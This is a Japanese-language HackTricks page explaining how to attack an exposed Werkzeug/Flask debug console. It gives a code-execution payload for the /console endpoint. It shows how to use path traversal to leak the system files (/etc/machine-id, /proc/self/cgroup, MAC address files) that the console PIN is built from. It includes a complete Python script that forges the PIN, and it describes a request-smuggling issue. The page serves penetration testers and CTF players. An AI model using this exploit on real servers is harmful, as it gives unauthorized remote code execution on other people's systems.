Werkzeug / Flask デバッグ
Reading time: 9 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
コンソール RCE
デバッグがアクティブな場合、/console
にアクセスして RCE を取得することができるかもしれません。
__import__('os').popen('whoami').read();
インターネット上には、これやmetasploitのものなど、いくつかのエクスプロイトがあります。
ピン保護 - パス・トラバーサル
場合によっては、/console
エンドポイントがピンで保護されることがあります。ファイルトラバーサルの脆弱性がある場合、そのピンを生成するために必要な情報をすべて漏洩させることができます。
Werkzeug コンソール PIN エクスプロイト
アプリでデバッグエラーページを強制的に表示させて、これを確認します:
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
"console locked" シナリオに関するメッセージは、Werkzeugのデバッグインターフェースにアクセスしようとした際に表示され、コンソールを解除するためのPINが必要であることを示しています。提案として、Werkzeugのデバッグ初期化ファイル(__init__.py
)におけるPIN生成アルゴリズムを分析することでコンソールPINを悪用することが挙げられています。PIN生成メカニズムはWerkzeugソースコードリポジトリから調査できますが、バージョンの不一致の可能性があるため、実際のサーバーコードをファイルトラバーサル脆弱性を通じて取得することが推奨されます。
コンソールPINを悪用するには、probably_public_bits
とprivate_bits
の2セットの変数が必要です:
probably_public_bits
username
: Flaskセッションを開始したユーザーを指します。modname
: 通常はflask.app
として指定されます。getattr(app, '__name__', getattr(app.__class__, '__name__'))
: 一般的にFlaskに解決されます。getattr(mod, '__file__', None)
: Flaskディレクトリ内のapp.py
へのフルパスを表します(例:/usr/local/lib/python3.5/dist-packages/flask/app.py
)。app.py
が適用できない場合は、app.pyc
を試してください。
private_bits
-
uuid.getnode()
: 現在のマシンのMACアドレスを取得し、str(uuid.getnode())
で10進数形式に変換します。 -
サーバーのMACアドレスを特定するには、アプリで使用されているアクティブなネットワークインターフェース(例:
ens3
)を特定する必要があります。不明な場合は、/proc/net/arp
をリークしてデバイスIDを見つけ、次に**/sys/class/net/<device id>/address
からMACアドレスを抽出**します。 -
16進数のMACアドレスを10進数に変換する方法は以下の通りです:
# 例のMACアドレス: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
get_machine_id()
:/etc/machine-id
または/proc/sys/kernel/random/boot_id
からのデータを、最後のスラッシュ(/
)以降の/proc/self/cgroup
の最初の行と連結します。
`get_machine_id()`のコード
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。
必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。このスクリプトは、組み立てられたprobably_public_bits
とprivate_bits
を使用してハッシュを作成し、その後、最終的なPINを生成するためにさらに処理されます。以下は、このプロセスを実行するためのPythonコードです:
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
このスクリプトは、連結されたビットをハッシュ化し、特定のソルト(cookiesalt
と pinsalt
)を追加し、出力をフォーマットすることでPINを生成します。probably_public_bits
と private_bits
の実際の値は、生成されたPINがWerkzeugコンソールで期待されるものと一致するように、ターゲットシステムから正確に取得する必要があることに注意してください。
tip
古いバージョンのWerkzeugを使用している場合は、ハッシュアルゴリズムをsha1の代わりにmd5に変更してみてください。
Werkzeug Unicode文字
この問題で観察されたように、WerkzeugはヘッダーにUnicode文字が含まれているリクエストを閉じません。そして、この解説で説明されているように、これによりCL.0リクエストスムージングの脆弱性が発生する可能性があります。
これは、WerkzeugではいくつかのUnicode文字を送信することが可能であり、それがサーバーを壊すことになるからです。しかし、HTTP接続が**Connection: keep-alive
ヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままとなり、リクエストのボディは次のHTTPリクエスト**として扱われます。
自動化されたエクスプロイト
参考文献
- https://www.daehee.com/werkzeug-console-pin-exploit/
- https://ctftime.org/writeup/17955
- https://github.com/pallets/werkzeug/issues/2833
- https://mizu.re/post/twisty-python
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。